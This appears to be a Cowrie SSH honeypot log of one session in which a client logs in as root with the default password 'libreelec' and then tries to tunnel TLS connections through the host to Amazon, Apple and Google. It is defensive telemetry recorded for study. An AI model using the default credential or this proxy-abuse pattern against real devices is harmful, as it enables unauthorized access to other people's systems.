{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:48:03.337408Z","src_ip":"77.90.185.17","session":"39bbeb97f7fc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"libreelec","message":"login attempt [root/libreelec] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:48:03.831812Z","src_ip":"77.90.185.17","session":"39bbeb97f7fc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.254.77.2","dst_port":443,"src_ip":"77.90.185.17","src_port":47754,"message":"direct-tcp connection request to 34.254.77.2:443 from 127.0.0.1:47754","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:48:04.681702Z","session":"39bbeb97f7fc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.254.77.2","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.254.77.2:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:48:04.850649Z","src_ip":"77.90.185.17","session":"39bbeb97f7fc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.254.77.2","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x031\\x18\\xab\\x15t\\xa9\\xa2A\\x85\\xe1Jf\\xcd?7\\x9c?\\xc9\\xca\\xce\\xeb$Z\\x992\\x0e\\x0e\\x98\\x14j&K \\xceL\\xf8L\\x1e\\xc8\\xf3\\xc6\\xcdO \\x0c\\xc7\\xbd\\x97\\xaeX\\xfe,Y\\x817D\\xcc\\x9f\\xe8\\xb2\\xc4E\\xa4\\xbe\\x16\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 fF\\xe2\\xba\\xbag}IH\\x87m\\x8f\\x83\\x8e)\\xb0\\x95?n\\x108\\xd0\\x89V\\xce5~\\x89Z\\xac\\xc4)\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 34.254.77.2:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x031\\x18\\xab\\x15t\\xa9\\xa2A\\x85\\xe1Jf\\xcd?7\\x9c?\\xc9\\xca\\xce\\xeb$Z\\x992\\x0e\\x0e\\x98\\x14j&K \\xceL\\xf8L\\x1e\\xc8\\xf3\\xc6\\xcdO \\x0c\\xc7\\xbd\\x97\\xaeX\\xfe,Y\\x817D\\xcc\\x9f\\xe8\\xb2\\xc4E\\xa4\\xbe\\x16\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 fF\\xe2\\xba\\xbag}IH\\x87m\\x8f\\x83\\x8e)\\xb0\\x95?n\\x108\\xd0\\x89V\\xce5~\\x89Z\\xac\\xc4)\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:48:04.853761Z","src_ip":"77.90.185.17","session":"39bbeb97f7fc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"184.24.145.53","dst_port":443,"src_ip":"77.90.185.17","src_port":47922,"message":"direct-tcp connection request to 184.24.145.53:443 from 127.0.0.1:47922","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:48:04.961483Z","session":"39bbeb97f7fc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"184.24.145.53","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 184.24.145.53:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:48:05.141388Z","src_ip":"77.90.185.17","session":"39bbeb97f7fc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"184.24.145.53","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe6s;3\\x92\\xa3a\"XUonpW\\xbdx\\xabaZM\\x1el\\xb9\\x05\\xce\\xa9$K.\\\\D\\x12 \\xf1\\xfc\\xaf\\xd2\\x87\\x94\\xe4\\xe5v\\x8f\\xe6q$yqZ/\\x99\\xb61H\\xc4\\x82\\x94\\xe5\\x99\\xe4H\\x97\\x12*\\xd8\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 1!\\x1e{\\xd1\\x97/\\x8f\\xf8\\x8f\\xf5\\x86X\\xd9F\\xbe\\xdb\\xab\\xc8\\x8d\\xf7E\\xf1~\\x18\\xa3e\\xe6\\x05\\x8d\\xf8;\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 184.24.145.53:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe6s;3\\x92\\xa3a\"XUonpW\\xbdx\\xabaZM\\x1el\\xb9\\x05\\xce\\xa9$K.\\\\D\\x12 \\xf1\\xfc\\xaf\\xd2\\x87\\x94\\xe4\\xe5v\\x8f\\xe6q$yqZ/\\x99\\xb61H\\xc4\\x82\\x94\\xe5\\x99\\xe4H\\x97\\x12*\\xd8\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 1!\\x1e{\\xd1\\x97/\\x8f\\xf8\\x8f\\xf5\\x86X\\xd9F\\xbe\\xdb\\xab\\xc8\\x8d\\xf7E\\xf1~\\x18\\xa3e\\xe6\\x05\\x8d\\xf8;\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:48:05.144928Z","src_ip":"77.90.185.17","session":"39bbeb97f7fc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.157.119","dst_port":443,"src_ip":"77.90.185.17","src_port":48100,"message":"direct-tcp connection request to 142.251.157.119:443 from 127.0.0.1:48100","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:48:05.292447Z","session":"39bbeb97f7fc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.157.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.157.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:48:05.398369Z","src_ip":"77.90.185.17","session":"39bbeb97f7fc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.157.119","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd5\\x83\\xbd\\xf5p7\\xd8\\x10\\xc4\\xf1\\xe5\\x085\\x84k\\xf9&\\x9e\\xb0+6\\xfeW\\xa2\\xf9\\x7f\\xa8\\xb6\\xd5d\\xc6- :\\x8d\\xaa\\x1e\\xb3\\xf5R\\xebD7\\x00\\x9b\\xb6M\\xff\\xe9\\x00n\\x87`(4O\\xfep4\\xd1\\xaa\\xed\\x9a\\xa2\\xdf\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \"\\xa4\\xed\\xb0\\x82$\\x13\\xe6\\xd8\\x90!\\xd0F\\xec$\\x04H\\x97w\\x9eS\\xcb\\x11\\x9e\\x8d#\\xdc\\xd2\\x01\\x8aEp\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.157.119:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd5\\x83\\xbd\\xf5p7\\xd8\\x10\\xc4\\xf1\\xe5\\x085\\x84k\\xf9&\\x9e\\xb0+6\\xfeW\\xa2\\xf9\\x7f\\xa8\\xb6\\xd5d\\xc6- :\\x8d\\xaa\\x1e\\xb3\\xf5R\\xebD7\\x00\\x9b\\xb6M\\xff\\xe9\\x00n\\x87`(4O\\xfep4\\xd1\\xaa\\xed\\x9a\\xa2\\xdf\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \"\\xa4\\xed\\xb0\\x82$\\x13\\xe6\\xd8\\x90!\\xd0F\\xec$\\x04H\\x97w\\x9eS\\xcb\\x11\\x9e\\x8d#\\xdc\\xd2\\x01\\x8aEp\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:48:05.402071Z","src_ip":"77.90.185.17","session":"39bbeb97f7fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:48:05.504758Z","src_ip":"77.90.185.17","session":"39bbeb97f7fc","protocol":"ssh"}
